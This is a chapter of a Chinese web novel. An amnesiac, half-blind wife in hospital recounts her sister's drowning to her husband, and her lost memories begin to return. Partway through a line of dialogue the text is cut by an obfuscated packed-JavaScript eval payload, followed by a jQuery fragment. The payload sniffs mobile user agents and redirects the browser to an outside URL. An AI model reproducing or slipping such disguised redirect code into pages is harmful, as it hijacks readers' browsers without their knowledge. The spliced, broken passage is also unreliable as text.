病床上，迟意眼部系着敷药的白纱，头顶密密地扎满银针，手指不安分地揪着被子，整个人僵成一块石头。
她看不见，感触就尤为深刻，她弱弱地开口：“医生，还要多久才能拔针？”
老医生淡定道：“快了，再等会儿。”
迟意伸手在被子上摸索，何云煦伸出手掌给她握，她抓到了熟悉的人，好像整个人都安定下来，继续跟老医生讨价还价。
“可是我腰坐得好疼，今天就不能早点结束吗？”
“腰疼？”他这一听可还得了，立刻说，“给我详细讲讲怎么疼法，我给你腰上在落几针，保管不疼。”
迟意大惊失色，额头冒汗，连忙道：“不疼了不疼了，您好好歇着吧。”
何云煦低声问：“针扎得疼吗？”
“比打针轻一点。”她说。
这两天她已经扎针扎习惯了，一开始还很害怕，扎一下抖一下，现在简直把打针当喝水，已经习以为常。
何云煦用拇指摩挲着她的手背，按摩她皮肤上积云般的淤青，薄薄的皮肤下骨感明显他低声问道：“等会儿有没有想吃的？”
迟意说：“你订的饭菜都好吃。”
何云煦笑了一下，说：“好，等会多准备点菜给你。”
起针的时候，迟意怕老先生年纪大了数不清针，拽紧何云煦的袖子，让他帮忙看清楚，生怕漏针了。
何云煦耐心地等待结束，把手机放进她手里，调出播客，让她听声音解闷。他轻声说：“你自己玩会儿，我出去一下。”
她的注意力全被手机吸引过去，喉间“嗯”了一声，手指试探地触摸按键，调了一个频道，放到耳边专心听起故事。
病房外面，老医生开口：“我看病人挺有精神，恢复得不错，我每周给她扎两次，估计再一个月眼睛就有好转了，剩下的关键靠养。”
何云煦点头，“其他医生也这么说过。”
虽说如此，他仍然没有感到一丝轻松。
隔着一扇门，他迟迟没有迈步进去。
迟意忘记了，对他而言，并不完全是坏事。
现在他还不知道要用怎么样的心情、什么样的态度，去面对她。
等她全部想起来，他真的能一如既往地包容她，谅解她，装作什么都没发生过，继续爱她吗？
他垂头，心里萦着烦躁。
走到窗户旁边，吹沙沙的风。
干脆一直这样保持下去好了，他稍显冷漠地想，什么都不记得，也看不清什么东西，依靠地待在他身边。
这样，他也会不计前嫌，依旧全心全意地爱着她。
但这当然是不可能的。
回到病房，迟意敏锐地捕捉到动静，抬头对他说：“你出去好久！”
“抱歉。”他走过去。
她把手机递过去，求助般地说：“我不知道碰到了什么地方，听不到声音了。”
何云煦拿过来，退出她误触的省电模式，然后把播客重新调给她。
他随手拾起桌面的水果刀，拿起一颗苹果转着圈慢慢削皮。其实他不怎么吃苹果，但是手上总得做点什么，好像这样才能专注地理清思绪。
“可以跟我说吗？”他随口问。
迟意把手机放下，“说什么？”
“关于你妹妹的事。”
“……”
迟意低下头，继续摆弄手机，音量时大时小，播客里的人声显得突兀震耳。
过了一会儿，她说：“不要。”
何云煦没带什么表情，但是声音很温柔，“不可以告诉我吗？”
“既然以前我都没告诉过你，那现在失忆了更不能乱讲话。”她有理有据地开口。
人倒是没傻，防备心也重。
他漫不经心地说：“可是我什么事情都告诉你了哦。你不和我说的话，这很不公平。”
迟意神色一滞，手指犹疑地捏紧被面，“是吗？”
她喏喏道：“那等我想起来以后……”
“你前几天身体不怎么好，所以我一直没有和你提起，你摔下去的时候，现场还有一个人，但是啊，他说是你自己想不开跳下去的。”他温凉的声调听起来很舒适，但却让人感到淡淡的疏冷。
她原本就没什么血色的脸更加苍白，她垂着头捏着自己的手指，过了好半天才反驳：“我才不会自己往下跳，我有孩子的。”言下之意，就算为了小孩，她也不会做出这么出格的事情。
“我也一直这么认同的。”何云煦微笑了一下，他手指灵巧地用薄薄的刀片将苹果切成块，堆在碟子里，然后用水果叉送进她嘴边。
她下意识吃进嘴里，苹果肉酸涩脆硬，并不怎么甜。
“所以，你要把想起来的全部都告诉我，才能让那个人受到应该的惩罚。”
“我不会害你，告诉我，妹妹出了什么事？”
他的话不停地动摇着她。
忽闪忽现的记忆，和这几日的相处，她隐隐察觉到了危机感，现在受了伤的自己必须依靠他才能得到好好的照顾。
虽然是夫妻，但是抛妻弃子的人大有人在，假如他存心不管她，她自己一个人就完全没有办法，恐怕只会被医院轰到街头。
她心底非常害怕。
最终还是妥协，一段不想提及的事情，如果能对他和她有帮助，告诉他也没关系。
“妹妹她……”迟意嗫嚅地出声，然后她突然意识到一件事情，微微一笑，“假如她能顺利长大，现在就和你一样大。”
何云煦指尖一顿，一个念头冒了出来。
没有失忆的迟意会意识到这件事吗？她每天看着他的时候，会不会经常想到自己的妹妹？偶尔会对他特别纵容，把他当成小孩子对待，应该也有这个原因吧。
“有一年春天，我和妹妹去河边玩，她在我面前……被水冲走了。”迟意轻轻地说，“我不该带她来水边玩，我明明知道她不擅长游泳的。”
“……”
幼年时的这段经历，大概是给她留下了不小的阴影。
何云煦伸手揉了揉她的头发，“我知道了，不过这当然算不上你的错，你那时也还是孩子，这种事也是无能为力的，过去的就让它过去吧。”
迟意却心不在焉，整个人十分低落地垂着脑袋，柔顺的头发半遮住脸颊，她抿住唇，紧紧掐着自己的掌心，浑身散发着浓浓的自厌情绪。
过了一会儿，她仰起头，请求道：“你能抱抱我吗？”
何云煦坐到床边上，让她能够将头靠在他的怀里，她的重量一点点压在他胸前，然后几乎是发泄一般紧紧抱住他的腰，一抖一抖开始哭了起来。
他一边安抚她，一边在心底叹气，这下眼睛上的药又得重新敷了。
***
吃药、打针的日子又过了好几天，一连几日都是阴雨天，空气很潮湿。
迟意的情况渐渐有所好转，只是医生仍然不许她用眼，怕她一不小心留下什么不可逆转的后遗症。下床走路也不被允许，她躺得不舒服，还是被严厉地勒令卧床休息。
何云煦大部分时间都陪伴在她旁边，此外还有医生护士和护工阿姨。
有时候也有不是医生的人过来看望她，可是她又不认识，而且她也不想认识其他人。
何云煦说，那是他的哥哥，让她不要害怕。
迟意躲进被子里做鹌鹑，她不想见其他人，尤其在现在非常狼狈的时刻。她知道自己现在肯定很憔悴，头发凌乱黯淡，浑身一股浸透的药味，她什么人都不想见。
她怕生人，何云煦简直又好笑又无奈。
不过，他在考虑之后，还是决定要告诉她一件事。
“怎么啦？”迟意感觉他好像有话要对她说。
何云煦说：“你有一个很要好的朋友，她联系不上你，很着急。再不让她见你，她会报警来抓我。”
迟意迷糊，“是谁呀？”
“许若凌。”这几天，何云煦的手机简直要被打爆了。但是他无暇顾及她，那是另一种麻烦。
迟意想起来了，惊讶道：“她是我小时候的朋友，后来她被别的亲人接走了。”
“是吗？”何云煦不太清楚她们之间的事情，“但是你们现在的关系依旧很好，你得和她见一面。”
迟意有点不愿意，但还是说“好”。在她心里，那已经是有点淡忘的朋友了。但她知道如果不和她见面，可能会给他造成麻烦。
何云煦：“那明天下午让你们见面吧。”
迟意很听话地点点头。
何云煦继续说：“今天下午我得出去一趟，晚上不回来，让护工陪着你可以吗？”
她一愣，然后用力摇头：“不要！”
那天晚上过后，迟意每晚都缠着和他一起睡。她说自己怕黑，一个人还会做噩梦，要他在旁边才行。
她一个人会害怕，何云煦在这方面又是可有可无的态度，就一直由着她。可是他也确实没有办法一天二十四小时待在病房里，有一些事情是只能他自己出面去做的。
何云煦耐心地讲道理：“我出去是为了挣钱，挣来钱才能给你治病、买东西。”
对哦，迟意一下没有了坚持的底气，她知道挣钱是一件很重要很重要的事情，而且他为了她，这些天好像也一直没有出去工作过。不工作的话，他们甚至会吃不上饭，她肯定给他造成了很多麻烦。
她的心情突然变得很沮丧，觉得自己做了很多错事。
“是你熟悉的护工，别害怕，有事情给我打电话就行。”何云煦觉得让她一个人睡一晚没什么问题，而且照顾她的人很多，也不缺他一个。她现在只是情感上很需要他。
“嗯。”她低声应道，可头还是微微眩晕，整个人紧张兮兮，“那个坏人，他会找到我吗？”
“不会，别怕。”大概是因为看不见东西的缘故，神经格外敏感，一点风吹草动都格外在意，何云煦说，“这里安保系统很好，一般人是进不来的。”
听见他笃定的声音，迟意觉得稍微好了一点，点了点头。
她暗自下决心，以后要少给他添麻烦。
下午。
迟意需要输两瓶会滴很久很久的药，何云煦看着护士把针管固定好，又给护工叮嘱了几句话，确认一切都没什么问题，就急匆匆地离开了。
她躺在病床上，听了一会儿播客，不知不觉睡着了。
等醒过来，眼前能看见浅浅一层光，她不确定是日光还是灯光，于是试探性地出声：“阿姨，现在有没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288709|159949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到晚上？”
护工陈芸说：“太阳快落山了。你要不要吃晚饭？”
迟意想了想说：“吃。”
陈芸去把在小厨房里保温的晚饭端出来，仔细地摆在她身前的小桌上。然后看着她正在输液的手背，问：“小意，你不方便，我喂你吃吧？”
“不用。”迟意眼睛上面敷药的纱布早就取了下来，也恢复了一点，视野中，餐盒的轮廓朦朦胧胧，隔着一堆交错叠乱的光圈。
她借着恢复好的些微光感，捡着起汤勺，磕磕绊绊地把一顿饭吃完。
一个人坐在病床上的时间，如同被无限延长的黄昏。
吃过了饭，迟意摆弄了一会儿手机，最后索然无味地丢到了一边，眼睫低垂，手端正地放在身前，安静地靠在床上，似乎完全沉浸在了自己的思绪里。
简直像换了一个人一样。
护工在心底暗暗讶异。
虽然大部分事情都是何云煦亲力亲为，但也有他顾及不到的地方，她常常在旁边搭手。平常迟意可以说极为依赖他，他离开太久她就跟孩子一样大吵大闹，但是等他真离开了，她又独立得过分，真是看不懂。
天色已经完全暗下来，雨声淅淅沥沥敲打在窗户上面。
迟意躲在被子里面，好像感到疼痛一样，张唇咬住被角，后背出了一层薄汗。
恐怖。恐怖。
湿哒哒的空气中，胸腔里的某些东西也像雨一样往下落，占据心脏的缝隙。
一道雷声轰下来，室内随之亮如白昼。
迟意惊惶地撩起了被子，赤着脚翻身下床，然后被床边的椅子绊倒，跌倒到了地上。
“怎么回事！迟小姐！”陈芸听见动静，急匆匆地开了灯，快步过去扶她，“你怎么突然下床了？”
迟意瞪着一双发红的眼睛，看向她的方向，好半天，才动着嘴唇说：“……噩梦。”
“原来是这样。”陈芸见她好像没有摔伤，松了一口气，将人扶到床上，“你真是吓死我了，来，我扶你回床上。”
迟意重新回到床上，直直地瞪着眼前的虚空。
陈芸喊来了值班的护士，听说她摔着了，他们又给她做了一遍检查，确认没事之后才走。
外面瓢泼大雨，雨声震耳，将室内和室外隔绝成两个世界。
迟意一动不动，陈芸坐到床边安慰她道：“做了什么噩梦，这么害怕，讲给阿姨我听听？噩梦讲出来就不会害怕了……”
迟意僵硬地转向她，好半天才开口：“……阿姨，您有孩子了吧？”
“我有一个闺女。”她以为迟意是梦见自己的孩子出事了，于是出声宽慰了几句。
迟意却仿佛没听见一般，固执地问，“如果有一天她出意外不在了，您会选择再生一个吗？”
陈芸面露迟疑，不过还是说：“会吧。”
“为什么？这很不公平吧，死去的那个人同时失去了生命和父母的爱。”她继续追问。
虽然不明白她问这话的用意，但是毕竟是雇主，她想了想，继续说：“因为失去孩子是一件非常痛苦的事情，一个家被撕开一个巨大的口子，会需要一个新生命重新填补上去。而且我不觉得死去的孩子会失去父母，是父母失去了孩子啊……”
“原来是这样……”迟意伸出手指按了按跳动的太阳穴，声音清晰又冷静，“阿姨，您去休息吧，今晚我不会再做噩梦了。”
陈芸担心地看着她，总觉得她这一刻好像格外脆弱阴郁。但是迟意显然也不会和她再多说什么，她只好关上了灯，先去休息。
同时想，今晚这么大的雨还真是可怕，希望明天早上一觉醒来天就晴了。
＊
早晨，毛毛细细的雨。
何云煦怕迟意醒来找他，赶紧回来。等到病房的时候，却发现迟意已经醒了，正在卫生间里面洗手。
何云煦大步走上前，严声道：“你在干什么！医生允许你下床了吗！”
迟意面无表情地看过去，还没说什么，陈芸先解释，“今早医生说简单走走没问题。”
“是吗？”他托住她的膝窝，一把将人抱起来，跨步走出卫生间，“这里面地滑，万一你摔着了怎么办？”
陈芸心虚了看向别处。
迟意总算对他说了今早的第一句话，“你忙完了？”
“嗯，我还给你带了早饭。”何云煦的神情柔和了下来，把她放回床上，轻轻地摸了摸她的头发问，“昨天晚上睡得怎么样？”
“很好哦。”
“那就好。”何云煦一边说，一边打开保温袋，把饭盒摆出来。热腾腾的水汽冒了出来，整个房间充斥着油润的香气。
他熟稔地舀了一勺粥，放到唇边吹了吹，送到她嘴边。
迟意说：“我自己吃。”
“你自己怎么吃？”他微微叹气，心想怎么就隔一晚又跟她生疏起来，“你都看不见。”
“早就能看见了一点了。”她解释。
“有功夫说这么多话，不如多吃点。”何云煦把粥送进她嘴里，堵住她的话。
迟意嘴巴一动，把粥咽下去，才慢慢说：“何云煦，下次不要往我的粥里加鱼肉了。”
何云煦整个人一僵，手上的勺子“啪”掉进碗里。